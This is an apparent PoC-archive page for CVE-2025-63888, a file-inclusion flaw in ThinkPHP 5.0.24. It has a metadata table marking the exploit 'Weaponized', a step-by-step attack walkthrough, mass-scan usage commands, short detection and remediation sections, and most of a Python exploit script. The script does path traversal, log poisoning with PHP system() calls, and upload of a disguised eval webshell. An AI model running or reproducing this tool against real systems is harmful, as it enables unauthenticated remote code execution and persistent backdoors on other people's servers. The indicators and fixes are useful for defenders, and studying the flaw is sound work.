PoC Archive PoC Archive
Critical CVE-2025-63888 unpatched

ThinkPHP 5.0.24 File Inclusion Leading to Remote Code Execution (CVE-2025-63888)

by AN5I · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherAN5I
CVE / AdvisoryCVE-2025-63888
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagsthinkphp, php, file-inclusion, lfi, rce, log-poisoning, webshell, cwe-98, cwe-22
RelatedN/A

Affected Target

FieldValue
Software / SystemThinkPHP (top10.org / TopThink PHP framework)
Versions Affected5.0.24 (exact version)
Language / PlatformPHP web framework
Authentication RequiredNo
Network Access RequiredYes (direct HTTP(S) access to the target application)

Summary

ThinkPHP 5.0.24’s read() method in thinkphp/library/think/template/driver/File.php fails to validate the template path derived from user-controlled input passed to the framework’s view() function. By submitting a crafted template parameter (e.g. a path-traversal sequence such as ../../../etc/passwd) to a controller endpoint that renders a view, an attacker can force the application to include arbitrary files from the filesystem. Because ThinkPHP writes attacker-influenced data into its own runtime log files, an attacker can combine the file-inclusion primitive with log-file poisoning: inject a PHP payload (e.g. <?php system($_GET[...]); ?>) into a request so it is logged verbatim, then use the same file-inclusion flaw to include the resulting log file as a PHP template — causing the PHP interpreter to execute the injected code and yielding remote code execution.


Vulnerability Details

Root Cause

thinkphp/library/think/template/driver/File.php’s read() method resolves and includes a template file path built from data that ultimately originates from the view()/display() call chain without sufficient path normalization or directory whitelisting, allowing directory-traversal sequences (../) to escape the intended template directory. Because the include operation executes any PHP found in the resolved file, a file that has been poisoned with attacker-controlled PHP (such as the application’s own request log) results in code execution rather than a mere information disclosure.

Attack Vector

  1. Detection: Fingerprint the target as ThinkPHP via the X-Powered-By header, response body markers, or version-disclosing endpoints/error pages, and confirm the version string matches 5.0.24.
  2. File inclusion confirmation: POST a template parameter containing a traversal payload (../../../etc/passwd, ../../../windows/win.ini, ../../../etc/hosts) to a candidate vulnerable endpoint such as /index.php/index/index/view, /index.php?s=/index/index/view, or /?s=/index/index/view, and check the response for file-content markers (root:x:0:0, [fonts], 127.0.0.1).
  3. Log poisoning: Send a request containing a PHP payload (e.g. <?php system('id'); ?>) so that it is written into ThinkPHP’s runtime log at a predictable path (runtime/log/YYYY/MM/DD.log or similar).
  4. RCE via inclusion: Re-submit the vulnerable template parameter pointing at the poisoned log file path (traversed relative to the template directory), causing the framework to include the log file and execute the embedded PHP payload — achieving arbitrary command execution.
  5. Post-exploitation: Optionally drop a persistent PHP webshell (<?php @eval($_POST['cmd']); ?>) via the same inclusion primitive or via an upload endpoint for repeatable access.

Impact

Unauthenticated remote code execution on the underlying host running the vulnerable ThinkPHP 5.0.24 application, with the privileges of the web server/PHP-FPM process — enabling arbitrary file read, webshell persistence, and full compromise of the application and any co-located data.


Environment / Lab Setup

Target:   ThinkPHP 5.0.24 application (default/example routing enabled,
                view()-rendering controller endpoint reachable, runtime/log/ writable and web-readable)
Attacker: Python 3.6+ with the `requests` library (see requirements.txt)

Proof of Concept

PoC Script

See cve_2025_63888_exploit.py in this folder.

1
2
3
4
5
6
7
8
9
pip install -r requirements.txt

python3 cve_2025_63888_exploit.py -u http://target.com

python3 cve_2025_63888_exploit.py -u http://target.com -c "whoami"

python3 cve_2025_63888_exploit.py -f targets.txt -t 5 -o results.json

python3 cve_2025_63888_exploit.py -u http://target.com --proxy http://127.0.0.1:8080

The tool chains four phases — ThinkPHP/version detection, file-inclusion vulnerability confirmation, vulnerable-endpoint discovery, and exploitation (log-file poisoning + inclusion to achieve command execution, plus optional webshell creation) — and writes a JSON summary (vulnerable, endpoint_found, exploitation_successful, output, webshell_path) per target.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected PHP <?php ... ?> fragments embedded inside runtime/log/ log files
  • Unusual template= POST parameters referencing ../ traversal paths or log file locations
  • Unknown .php files under runtime/temp/, public/uploads/, or other writable directories
  • Outbound or local command execution originating from the PHP-FPM/web server process shortly after such requests

Remediation

ActionDetail
Primary fixUpgrade ThinkPHP to 5.0.25+ or migrate to a maintained 6.x/7.x release that validates and restricts template paths in File.php’s read() method
Interim mitigationAdd strict path validation / whitelisting on the view() template parameter, reject ../ traversal sequences, resolve paths with realpath() and confirm containment within the allowed template directory, and restrict web access to runtime/log/

References


Notes

Mirrored from https://github.com/AN5I/cve-2025-63888-exploit on 2026-07-06. Original vulnerability reporting credited in the upstream repository to Master-0-0.

cve_2025_63888_exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit
Unified Knowledge Network Framework - ThinkPHP Exploitation Module

CVE-2025-63888: Remote Code Execution via file inclusion in ThinkPHP 5.0.24
Vulnerable Component: thinkphp/library/think/template/driver/File.php

Author: Security Research Team
Date: January 2025
License: For authorized penetration testing only
"""

import sys
import argparse
import logging
import signal
import time
import threading
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
from datetime import datetime
import requests
from urllib.parse import urljoin, urlparse
import base64
import re
import random
import string

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

# Global shutdown flag
shutdown_flag = threading.Event()


class ThinkPHPRecon:
    """Reconnaissance module for ThinkPHP applications"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.thinkphp_version = None
        self.vulnerable = False
        
    def detect_thinkphp(self) -> bool:
        """Detect if target is running ThinkPHP"""
        try:
            # Check common ThinkPHP indicators
            indicators = [
                '/index.php',
                '/public/index.php',
                '/thinkphp',
            ]
            
            for indicator in indicators:
                try:
                    url = urljoin(self.target_url, indicator)
                    response = self.session.get(url, timeout=10, allow_redirects=True)
                    
                    # Check for ThinkPHP headers
                    if 'thinkphp' in response.headers.get('X-Powered-By', '').lower():
                        logger.info(f"ThinkPHP detected via header: {response.headers.get('X-Powered-By')}")
                        return True
                    
                    # Check response content
                    if 'thinkphp' in response.text.lower() or 'think' in response.text.lower():
                        logger.info("ThinkPHP detected via content analysis")
                        return True
                        
                except requests.RequestException as e:
                    logger.debug(f"Error checking {indicator}: {e}")
                    continue
                    
            return False
            
        except Exception as e:
            logger.error(f"Error detecting ThinkPHP: {e}")
            return False
    
    def detect_version(self) -> Optional[str]:
        """Attempt to detect ThinkPHP version"""
        try:
            # Method 1: Check error pages
            test_urls = [
                '/index.php/index/index/think',
                '/index.php?s=/index/index/think',
                '/?s=/index/index/think',
            ]
            
            for url_path in test_urls:
                try:
                    url = urljoin(self.target_url, url_path)
                    response = self.session.get(url, timeout=10)
                    
                    # Look for version in error messages
                    version_pattern = r'thinkphp[\/\s]+([0-9]+\.[0-9]+\.[0-9]+)'
                    match = re.search(version_pattern, response.text, re.IGNORECASE)
                    if match:
                        version = match.group(1)
                        logger.info(f"Detected ThinkPHP version: {version}")
                        self.thinkphp_version = version
                        return version
                        
                except requests.RequestException:
                    continue
            
            # Method 2: Check common files
            version_files = [
                '/thinkphp/VERSION',
                '/thinkphp/version.txt',
            ]
            
            for file_path in version_files:
                try:
                    url = urljoin(self.target_url, file_path)
                    response = self.session.get(url, timeout=10)
                    if response.status_code == 200:
                        version = response.text.strip()
                        logger.info(f"Detected ThinkPHP version from file: {version}")
                        self.thinkphp_version = version
                        return version
                except requests.RequestException:
                    continue
                    
            return None
            
        except Exception as e:
            logger.error(f"Error detecting version: {e}")
            return None
    
    def check_vulnerability(self) -> bool:
        """Check if target is vulnerable to CVE-2025-63888"""
        if not self.thinkphp_version:
            self.detect_version()
        
        # Check if version is 5.0.24
        if self.thinkphp_version and '5.0.24' in self.thinkphp_version:
            logger.info("Target appears to be vulnerable (ThinkPHP 5.0.24)")
            self.vulnerable = True
            return True
        
        # Test for file inclusion vulnerability
        return self._test_file_inclusion()
    
    def _test_file_inclusion(self) -> bool:
        """Test for file inclusion vulnerability"""
        try:
            # Test with a safe file that should exist on most systems
            test_payloads = [
                "../../../etc/passwd",
                "../../../windows/win.ini",
                "../../../etc/hosts",
            ]
            
            # Try different endpoints
            endpoints = [
                "/index.php/index/index/view",
                "/index.php?s=/index/index/view",
                "/?s=/index/index/view",
                "/index/view",
            ]
            
            for endpoint in endpoints:
                for payload in test_payloads:
                    try:
                        url = urljoin(self.target_url, endpoint)
                        data = {"template": payload}
                        
                        response = self.session.post(
                            url,
                            data=data,
                            timeout=10,
                            allow_redirects=False
                        )
                        
                        # Check for file inclusion indicators
                        if response.status_code == 200:
                            content = response.text
                            # Check for common file content patterns
                            if any(indicator in content for indicator in [
                                "root:x:0:0",  # /etc/passwd
                                "[fonts]",     # win.ini
                                "127.0.0.1",   # hosts file
                            ]):
                                logger.warning(f"File inclusion confirmed! Endpoint: {endpoint}, Payload: {payload}")
                                self.vulnerable = True
                                return True
                                
                    except requests.RequestException as e:
                        logger.debug(f"Error testing {endpoint} with {payload}: {e}")
                        continue
            
            return False
            
        except Exception as e:
            logger.error(f"Error testing file inclusion: {e}")
            return False


class CVE202563888Exploit:
    """Exploitation module for CVE-2025-63888"""
    
    def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
        self.target_url = target_url.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        if proxies:
            self.session.proxies.update(proxies)
        self.recon = ThinkPHPRecon(target_url, self.session, proxies)
        self.vulnerable_endpoint = None
        self.webshell_path = None
        
    def find_vulnerable_endpoint(self) -> Optional[str]:
        """Find the vulnerable endpoint"""
        endpoints = [
            "/index.php/index/index/view",
            "/index.php?s=/index/index/view",
            "/?s=/index/index/view",
            "/index/view",
            "/index.php/home/index/view",
            "/index.php/admin/index/view",
        ]
        
        test_payload = "../../../etc/passwd"
        
        for endpoint in endpoints:
            try:
                url = urljoin(self.target_url, endpoint)
                data = {"template": test_payload}
                
                response = self.session.post(
                    url,
                    data=data,
                    timeout=10,
                    allow_redirects=False
                )
                
                if response.status_code == 200 and "root:x:0:0" in response.text:
                    logger.info(f"Found vulnerable endpoint: {endpoint}")
                    self.vulnerable_endpoint = endpoint
                    return endpoint
                    
            except requests.RequestException as e:
                logger.debug(f"Error testing endpoint {endpoint}: {e}")
                continue
        
        return None
    
    def poison_log_file(self, php_code: str) -> Optional[str]:
        """Attempt to poison log files with PHP code"""
        try:
            # Generate a unique identifier for this session
            session_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            
            # Try to trigger log entry with PHP code
            log_triggers = [
                f"/index.php?{php_code}",
                f"/index.php?s=/index/index/index&{php_code}",
            ]
            
            for trigger in log_triggers:
                try:
                    url = urljoin(self.target_url, trigger)
                    self.session.get(url, timeout=10)
                except requests.RequestException:
                    continue
            
            # Try to find log file path
            log_paths = [
                f"../../../runtime/log/{datetime.now().strftime('%Y/%m/%d')}.log",
                f"../../../runtime/log/{datetime.now().strftime('%Y%m%d')}.log",
                "../../../runtime/log/error.log",
                "../../../runtime/log/access.log",
            ]
            
            return log_paths[0]  # Return most likely path
            
        except Exception as e:
            logger.error(f"Error poisoning log file: {e}")
            return None
    
    def upload_webshell(self) -> Optional[str]:
        """Attempt to upload a webshell via file upload functionality"""
        try:
            # Generate webshell content
            webshell_name = f"shell_{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}.php"
            webshell_content = "<?php @eval($_POST['cmd']); ?>"
            
            # Try common upload endpoints
            upload_endpoints = [
                "/index.php/index/index/upload",
                "/index.php/admin/upload",
                "/upload.php",
            ]
            
            for endpoint in upload_endpoints:
                try:
                    url = urljoin(self.target_url, endpoint)
                    files = {
                        'file': (webshell_name, webshell_content, 'image/jpeg')
                    }
                    
                    response = self.session.post(url, files=files, timeout=10)
                    
                    if response.status_code == 200:
                        # Try to find uploaded file
                        upload_paths = [
                            f"../../../public/uploads/{webshell_name}",
                            f"../../../uploads/{webshell_name}",
                            f"../../../runtime/temp/{webshell_name}",
                        ]
                        
                        return upload_paths[0]
                        
                except requests.RequestException:
                    continue
            
            return None
            
        except Exception as e:
            logger.error(f"Error uploading webshell: {e}")
            return None
    
    def create_webshell_via_inclusion(self, shell_path: str = None) -> bool:
        """Create a webshell by including a writable file"""
        try:
            if not self.vulnerable_endpoint:
                if not self.find_vulnerable_endpoint():
                    logger.error("No vulnerable endpoint found")
                    return False
            
            # Try to write to session file or other writable locations
            webshell_content = "<?php @eval($_POST['cmd']); ?>"
            
            # Method 1: Try to include session file and write to it
            session_paths = [
                "../../../runtime/session/sess_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=26)),
            ]
            
            # Method 2: Use log file poisoning
            log_path = self.poison_log_file(webshell_content)
            
            if log_path:
                self.webshell_path = log_path
                logger.info(f"Webshell path: {log_path}")
                return True
            
            return False
            
        except Exception as e:
            logger.error(f"Error creating webshell: {e}")
            return False
    
    def execute_command(self, command: str, method: str = "log") -> Optional[str]:
        """Execute a command via file inclusion RCE"""
        try:
            if not self.vulnerable_endpoint:
                if not self.find_vulnerable_endpoint():
                    return None
            
            url = urljoin(self.target_url, self.vulnerable_endpoint)
            
            if method == "log":
                # Use log file poisoning method
                php_code = f"<?php system('{command}'); ?>"
                log_path = self.poison_log_file(php_code)
                
                if log_path:
                    data = {"template": log_path}
                    response = self.session.post(url, data=data, timeout=10)
                    return response.text
                    
            elif method == "direct":
                # Direct PHP code execution (if we can include arbitrary files)
                # This would require a file we control with PHP code
                pass
            
            return None
            
        except Exception as e:
            logger.error(f"Error executing command: {e}")
            return None
    
    def exploit(self, command: str = "id") -> Dict:
        """Main exploitation method"""
        results = {
            'target': self.target_url,
            'timestamp': datetime.now().isoformat(),
            'vulnerable': False,
            'endpoint_found': False,
            'exploitation_successful': False,
            'command_executed': command,
            'output': None,
            'webshell_created': False,
            'webshell_path': None,
        }
        
        try:
            # Step 1: Detect ThinkPHP
            logger.info("[1/4] Detecting ThinkPHP...")
            if not self.recon.detect_thinkphp():
                logger.warning("ThinkPHP not detected")
                return results
            
            # Step 2: Check vulnerability
            logger.info("[2/4] Checking vulnerability...")
            if not self.recon.check_vulnerability():
                logger.warning("Target does not appear to be vulnerable")
                return results
            
            results['vulnerable'] = True
            
            # Step 3: Find vulnerable endpoint
            logger.info("[3/4] Finding vulnerable endpoint...")
            endpoint = self.find_vulnerable_endpoint()
            if not endpoint:
                logger.warning("Could not find vulnerable endpoint")
                return results
            
            results['endpoint_found'] = True
            results['vulnerable_endpoint'] = endpoint
            
            # Step 4: Exploit
            logger.info("[4/4] Exploiting vulnerability...")
            
            # Try to create webshell
            if self.create_webshell_via_inclusion():
                results['webshell_created'] = True
                results['webshell_path'] = self.webshell_path
            
            # Execute command
            output = self.execute_command(command)
            if output:
                results['exploitation_successful'] = True
                results['output'] = output
                logger.info(f"Command executed successfully: {command}")
                logger.info(f"Output: {output[:500]}")  # First 500 chars
            
            return results
            
        except Exception as e:
            logger.error(f"Exploitation error: {e}")
            results['error'] = str(e)
            return results


class UkNFExploitFramework:
    """Main framework class"""
    
    def __init__(self, target_url: str, threads: int = 1, proxies: Dict = None):
        self.target_url = target_url
        self.threads = threads
        self.proxies = proxies
        self.results = []
        
    def run(self) -> Dict:
        """Run the exploitation framework"""
        logger.info(f"Starting UkNF exploitation for {self.target_url}")
        
        exploit = CVE202563888Exploit(self.target_url, proxies=self.proxies)
        result = exploit.exploit()
        
        self.results.append(result)
        return result
    
    def save_results(self, output_file: str):
        """Save results to file"""
        output_path = Path(output_file)
        output_path.parent.mkdir(parents=True, exist_ok=True)
        
        with open(output_path, 'w', encoding='utf-8') as f:
            json.dump(self.results, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results saved to {output_path}")


def signal_handler(signum, frame):
    """Handle graceful shutdown"""
    logger.warning("Shutdown signal received, finishing current tasks...")
    shutdown_flag.set()


def main():
    """Main entry point"""
    parser = argparse.ArgumentParser(
Showing 500 of 610 lines View full file on GitHub →